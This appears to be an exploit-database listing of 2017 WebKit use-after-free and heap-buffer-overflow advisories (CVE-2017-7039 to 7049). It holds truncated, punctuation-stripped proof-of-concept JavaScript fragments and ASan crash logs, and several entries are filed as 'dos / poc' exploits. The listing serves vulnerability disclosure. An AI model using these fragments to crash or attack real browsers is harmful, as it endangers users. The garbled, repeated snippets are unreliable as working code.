WebKit: use-after-free in WebCore::Node::getFlag(CVE-2017-7041)

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC note that you might need to refresh a page a couple of times to trigger the bug: ================================================================= -webkit-flow-into:...

WebKit: use-after-free in WebCore::getCachedWrapper(CVE-2017-7040)

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar i=0;i...

WebKit: use-after-free in WebCore::AccessibilityRenderObject::handleAriaExpandedChanged(CVE-2017-7043)

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector simply opening the...

WebKit: use-after-free in WebCore::RenderObject with accessibility enabled(CVE-2017-7046)

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. On Safari on Mac this can be accomplished by opening the inspector simply opening the...

WebKit WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free

WebKit: use-after-free in WebCore::AccessibilityNodeObject::textUnderElement CVE-2017-7048 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug...

WebKit WebCore::Node::getFlag Use-After-Free

WebKit: use-after-free in WebCore::Node::getFlag CVE-2017-7041 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC note that you might need to refresh a page a couple of times to trigger the bug:...

WebKit WebCore::getCachedWrapper Use-After-Free

WebKit: use-after-free in WebCore::getCachedWrapper CVE-2017-7040 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar...

WebKit WebCore::RenderObject Use-After-Free

WebKit: use-after-free in WebCore::RenderObject with accessibility enabled CVE-2017-7046 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. Note that accessibility features need to be enabled in order to trigger this bug. O...

WebKit WebCore::Node::nextSibling Use-After-Free

WebKit: use-after-free in WebCore::Node::nextSibling CVE-2017-7039 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function freememory var a; forvar...

WebKit WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow

WebKit: heap-buffer-overflow in WebCore::RenderSearchField::addSearchResult CVE-2017-7049 There is a heap buffer overflow in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly. PoC: ================================================================= function go i.value = "1";...

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow Exploit

Exploit for multiple platform in category dos / poc function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...

WebKit - WebCore::AccessibilityNodeObject::textUnderElement Use-After-Free Exploit

Exploit for multiple platform in category dos / poc function go li.hidden = true; dir.setAttribute"aria-labeledby", "map"; !-- ================================================================= ASan log: ================================================================= ==728==ERROR:...

WebKit - 'WebCore::RenderObject' with Accessibility Enabled Use-After-Free

link text-transform: lowercase; link::first-letter border-spacing: 1em; function go dt.appendChildlink; var s = link.style; s.setProperty"display", "table-column-group"; s.setProperty"-webkit-appearance", "menulist-button"; function eventhandler dir.setAttribute"aria-labeledby", "meta";...

WebKit - WebCore::Node::nextSibling Use-After-Free

WebKit - WebCore::Node::nextSibling Use-After-Free function freememory var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==29516==ERROR: AddressSanitizer: heap-use-after-free on...

WebKit - WebCore::InputType::element Use-After-Free (1)

WebKit - WebCore::InputType::element Use-After-Free 1 var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free

WebKit - WebCore::AccessibilityRenderObject::handleAriaExpandedChanged Use-After-Free div visibility: collapse function eventhandler document.execCommand"bold", false; img.style.removeProperty"-webkit-appearance"; img.setAttribute"aria-expanded", "false"; aaa !--...

WebKit - WebCore::InputType::element Use-After-Free Exploit

Exploit for multiple platform in category dos / poc var runcount = 0; function go runcount++; ifruncount 2 return; i.type = "foo"; i.select; i.type = "search"; document.onsearch = document.body.onload; document.execCommand"insertHTML", false, ""; !--...

WebKit - 'WebCore::getCachedWrapper' Use-After-Free

function freememory var a; forvar i=0;i ::get const /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Ver...

WebKit - 'WebCore::RenderSearchField::addSearchResult' Heap Buffer Overflow

function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow

WebKit - WebCore::RenderSearchField::addSearchResult Heap Buffer Overflow function go i.value = "1"; i.type = "search"; f.submit; ::buffer /Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x8664+0x2694d46 1 0x116496bed in WTF::Vector::end...